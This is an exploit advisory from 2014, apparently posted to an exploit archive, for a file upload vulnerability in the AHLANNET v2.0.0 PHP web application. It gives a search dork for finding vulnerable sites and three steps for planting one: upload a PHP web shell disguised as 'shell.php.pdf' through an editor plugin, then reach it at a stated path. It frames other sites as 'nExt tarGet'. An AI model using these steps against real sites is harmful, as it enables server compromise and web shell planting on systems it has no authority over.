AHLANNET v2.0.0 File Upload Vulnerability
#########################################################################



# Exploit Title: [ AHLANNET v2.0.0 File Upload Vulnerability ]



# Date: [28-04-2014]



# Author: AnASsRc3



# Facebook : https://www.facebook.com/Anassrc3PageOfficille



# Category: [webapps]



# version : v2.0.0



# Platform : php



# vendor URL : http://www.ahlannet.co.il/



# Tested on: [Linux (backbox 13.3]

Dork
inurl:openconf/author/submit.php

#########################################################################











[1] http://127.0.0.1/openconf/author/submit.php



& Make a Submission; iF "The submission is closed" ==> ^^ nExt tarGet







[2] http://127.0.0.1/admin****/jscripts/tiny...amepdf.php



upload your shEll shell.php.pdf





[3] Upload location: http://127.0.0.1/pics/shEll.php







==> p0c imaGe : http://im89.gulfup.com/pKRX8R.png



http://im89.gulfup.com/AKJ8lq.png











# Greet'z | to Me Dudeeeeeeeeeee